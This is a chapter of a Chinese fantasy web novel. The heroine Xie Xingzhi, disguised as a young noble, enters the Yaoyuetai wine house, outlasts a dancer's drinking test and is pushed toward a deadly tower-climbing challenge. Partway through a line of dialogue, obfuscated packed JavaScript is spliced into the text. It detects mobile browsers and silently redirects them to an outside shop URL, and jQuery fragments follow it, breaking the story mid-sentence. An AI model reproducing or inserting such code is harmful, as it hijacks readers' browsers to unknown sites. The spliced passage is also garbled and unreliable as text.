疾驰的马车自夜幕深处冲上街道,驭马的马夫扬起长鞭在空中划过破空声,狠狠鞭挞驱赶着密集的人群。众人惊慌地避让,稍有不慎便在推搡下摔倒在地,更有甚者被长鞭打出一道血痕。
待驱车而去,余下一地狼藉。因此遭难的路人这才顾得上理好行装,拉起摔倒受伤者,好在并无大碍只是有些皮外伤。有人愤恨地淬上一口:“看门狗。”
此话引起在场众人的民怨,他们七嘴八舌地议论:“要说王府高门也就罢了,这一个区区酒楼怎么也敢如此嚣张跋扈?”
“你是不知道,听说这是狗仗人势,邀月台背后的东家可结交了不少达官显贵!”
街道由于低声窃窃而造成了拥堵,于是巡街的三两官差走上前来,聚集的人群很快便被官差驱散,同时窃窃声却并没有散,反而分化成更细微的声音传递。
邀月台?
谢行止想起了季承懿提起的话,那是窦青鸢暗地的产业之一。她用望鹊楼作为掩饰,而在其他几处与达官贵人便是声色犬马曲意逢迎。今夜的异动,也正说明如今她很有可能就在邀月台。
同时,在邀月台的还会有谁?
她思索了一下,走到角落扬手抛起纸符,符纸落下遇空而燃。灰烬洋洋洒洒地落在身上,待落尽谢行止已经换了副面孔和装扮。
走出来的少年一头高扬的马尾,长身玉立的身姿穿着身墨蓝交领长衫,腰间皮质镶嵌金丝云纹扣,双手黑色鳄鱼纹护腕。一双含情又凉薄的桃花眼上挑,璀璨如金色日光。
是了,正是临羲景的模样,她还饶有兴致地换了他平日不常见的装扮,如今瞧着便活脱脱一个高门内少不更事的公子。
谢行止又拍了张符,符纸立地而起化为一匹黑色鬃毛的骏马,她翻身上去,一路沿着刚刚马车的方向而去。
走到街角,临水的阁台上托举着一轮明月,阁台上美人奏胡琴,拍圆鼓,引得阁台旁的酒楼外廊上的众人齐声喝彩。
谢行止刚欲入内,便被门口的侍卫拦下:“敢问可有拜帖?这楼内都是贵客,若无拜帖,还请回。”
闻言,谢行止便知道这邀月台想必是先摸清城中权贵明细,再先发拜帖邀约,楼内都是应约人。这般做法确实可以极大降低风险,以免有居心不良者搅局。
居心不良者语气平静:“爷没有拜帖,只有钱。”
看门者还想驱赶,却在看到来人从锦囊中取出块极厚的玉佩,拎着穗绳扣一放,一串约有十几块金貔貅相间玉佩的挂绳在空中摇晃,月色下发着莹莹亮光,晃得阁台旁的观客往此处一瞧,喧嚣的人声寂静了。
看门者亦是愣住了,他们门前所过的权贵多如流水,但今夜这般的,属实是没见过。
这纯金貔貅倒不稀罕,只是那十几块玉佩的品相极佳,明眼人都能看出来单块玉佩便是那些高门的镇宅之宝,如今倒叫他一口气拿出来一串。
看门的二位一下进退两难,管也不是不管也不是。好在隔壁阁台上起舞的女子们发现人群的寂静后,停下演奏朝此处望过来。为首抱着手鼓着胡裙的胡姬下了阁台,胡裙边的银片相碰撞发出清脆的响声。
她走到三人面前并不问原委,有些玩味又试探地笑:“这位公子瞧着面生,不知是京城中哪家的少爷?”
谢行止冷呵一声:“若是家宅在京中,还轮得到此时被你们拦在门外?一个小小邀月台,不进也罢。”
她不屑地拽下一只金貔貅,抛给胡姬,转身便走。胡姬一抬手鼓接住金貔貅,另一手拿起金貔貅细细摩挲起来,刚一上手她就惊觉此物做工的巧夺天工,温润细腻材质光滑如丝缎。
最主要的是,此物并不是狐族内能够出现的做工。但是源自何处,她看不出来。
但不论如何,此人都决不能放走。
胡姬稍下一想,当即拦下谢行止笑脸相迎:“郎君,是奴家的错,有眼不识金镶玉,莫要怪罪。”
她斜睨着看门者,伸手将手鼓塞给一人,使力将挡路的那人推开:“替我拿着。以后再敢拦贵客,我打断你们的腿!”
看门者不敢多话,推至门两侧低着头点头哈腰。
随胡姬走入酒楼,又是另一幅盛景。酒香充盈整个酒楼,在回字形楼内设置流觞曲水,自高楼至底层搭建竹道蜿蜒迂回地承载着酒水。
四层楼回廊的楼道口各设一竹亭,竹亭内一女子或布棋、作画、吟诗、投壶各一艺,亭内空一雅座等客来邀约。
胡姬来到一楼厢房内,顺势掩上门,坐下为谢行止斟满了酒。厢房的门一掩,全部的声响连带着酒香都隔绝在外。
她执酒杯朝着谢行止的唇边轻轻一送:“还未自我介绍,奴家名唤揽月。郎君尝尝我们邀月台的酒如何。”
谢行止没有推辞,就着揽月的手边将酒水饮下:“我见屋外一楼一竹亭,不知是什么门道。”
揽月温温柔柔地介绍道:“如果您想要上楼,就需要赢了竹亭内的比赛,便可以上一楼,如此累积。若是一日内全胜,便可上五楼邀月台与花魁共赏月夜谈。”
“当然,若是酒量不好,同样是上不去的。以棋局为例,一步一杯酒,与竺意对棋愈久则胜算愈小。”
她说如此说,斟酒的动作不停,又往谢行止唇边一送。谢行止轻笑地看她一眼,给揽月看得有些心虚,但终归没有说什么又饮尽了。
酒过五巡,揽月蹙眉,这酒再也斟不下去了。
此酒雅名辞旧,有大梦一场辞旧岁的说法,由此也可以看出此酒有多醉人。可是眼前这位公子,千杯不醉一般,五巡过依旧神色清明。要么他酒量惊人要么便是他的咒力极高。
她无奈地轻叹,收起酒盏:“郎君真是好酒力。那我便开门见山了,郎君来邀月台,是想见谁。”
谢行止坦然地接下话,目光停留在揽月身上:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13328215|139664||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那当然是,品美酒,见美人。”
“你想见邀月台的花魁?郎君这就厌倦了揽月。”揽月支着手托腮,埋怨地嗔道。
“你们邀月台花魁的名气既然如此之盛,自然是要见上一见。”谢行止起身往门外走去,揽月在原地思索片刻,便也巧笑倩兮地紧跟上去。
果然,走到一楼与二楼相接的楼道口,一座竹亭将上方挡得严严实实,身穿竹叶丹青纱袍的清冷女子,素手正在无聊地拨动手上的黑子。瞧见她们面上也没有笑颜色:“揽月,你不好好地在揽月台跳你的舞,跑来邀月台楼中作甚?”
揽月被这样讥讽了一下,并不在意:“竺意,这位是新来的贵客,想登邀月台见她。我领他登楼。”
“登楼?”竺意拨动黑子的手停了下来,纯黑干净的眼睛望着谢行止,又转向揽月。
“你还真是,不择手段啊揽月。”
揽月回避了她的目光,喃喃:“你有什么脸说我,你难道不是如此?”
“登楼好啊……”她又诡异地重复了一遍此话,带上生冷的笑。
她掏出袖口的铃铛,那铃铛式样谢行止再熟悉不过:纹样正是望鹊楼窦青鸢给她的模样,只是她拿到的是铜铃,这竺意手中的则是银镶玉铃铛。
她手执铃铛狠狠一晃,“叮铃——叮铃——”清脆的铃声响彻整栋楼,镇下了所有嬉笑私语声。整栋楼寂静下来,暗处的无数道视线投射到她们身上。
竺意走到一层厅堂的正中间,扬声喊:“登楼!”。闻言,楼中的仆人们拽动绳子打开机关,放下一盏数米高庞大的球形灯笼,悬挂在楼中的高处,抬头望去,就如同圆月临空。
这巨大的光源使得楼内其他灯光都黯然失色,就在这盏灯笼的笼罩下,整齐有序的仆人抬着陈设安置到了厅内。
谢行止听到竺意的话时就已然明白,想上楼见花魁绝不只有这一种方式。而登楼这种方式,也绝不是揽月所说的那般稀松平常。
在门外已是第一道测试,她筛选出京城外没有拜帖的高门氏族,邀进楼也不怕被京中势力来寻仇。在屋内她试酒便是第二道考验,通过考验,听谢行止问起,便引导着让其走揽月想走的那条路:那便是登楼。
谢行止意味不明地看了揽月一眼,倒没有兴师问罪:“若是我真的登楼成功,你便把我想知道的一切告诉我。”
揽月垂放的手颤了一下,她原本已经做好了将眼前少年当做弃子的打算,可他一句话听得她胆颤:他竟然一开始就知道她的盘算?
这种人本身已是十分可怕,她还企图将他算计在局中谋取私利,若是真叫他登楼成功,自己的下场好不到哪去。
揽月苍白着脸笑笑,难得的说了一句真心话:“你先活下来再说罢。”
“这登楼,若是叫你登上了,只怕你想要的那些都能得到。”
“但是,自从设楼起,没有一人登楼成功。”